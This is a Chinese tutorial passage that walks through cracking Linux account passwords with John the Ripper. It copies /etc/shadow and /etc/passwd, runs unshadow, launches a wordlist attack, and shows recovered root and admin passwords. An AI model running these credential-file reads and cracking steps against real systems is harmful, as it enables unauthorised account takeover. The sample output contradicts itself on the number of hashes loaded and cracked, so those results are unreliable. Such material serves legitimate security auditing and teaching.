  1. 为了方便输入,这里将获取的用户密码文件复制到/root中。执行如下命令:

    1
    # cp /etc/passwd /etc/shadow /root/

    执行以上命令后,passwd和shadow文件就保存到/root目录中了。

  2. 使用unshadow命令提取密码文件。执行命令如下:

    1
    # unshadow passwd shadow > cracked

    执行以上命令,表示将passwd和shadow文件中的内容都提取出来,并保存到cracked目录中。

  3. 使用john工具破解密码。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    # john --wordlist=/usr/share/john/password.lst cracked
    Using default input encoding: UTF-8
    Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
    Cost 1 (iteration count) is 5000 for all loaded hashes
    Will run 4 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    abc.123456 (root)
    123456 (admin)
    1g 0:00:00:01 DONE (2020-12-31 13:21) 0.5747g/s 2039p/s 2039c/s 2039C/s jussi..Abc.123456
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed

    以上命令中的–wordlist选项,是用来指定破解密码的密码字典。

    从输出的信息中可以看到,当前系统root用户的密码是abc.123456。此时,用户也可以使用–show选项查看passwd第2个字段的信息。执行命令如下:

    1
    2
    3
    4
    # john --show cracked
    root:abc.123456:0:0:root:/root:/bin/bash
    admin:123456:1000:1001:admin,,,:/home/admin:/bin/bash
    2 password hash cracked, 2 left

    从输出的信息中可以看到,passwd中root用户第2个字段由原来的密码占位符变成了真实的密码。

    使用John the Ripper工具破解Linux用户密码时,必须在本机上操作。而且,对/etc/shadow和/etc/passwd这两个文件必须要有读取的权限。

-------------本文结束感谢您的阅读-------------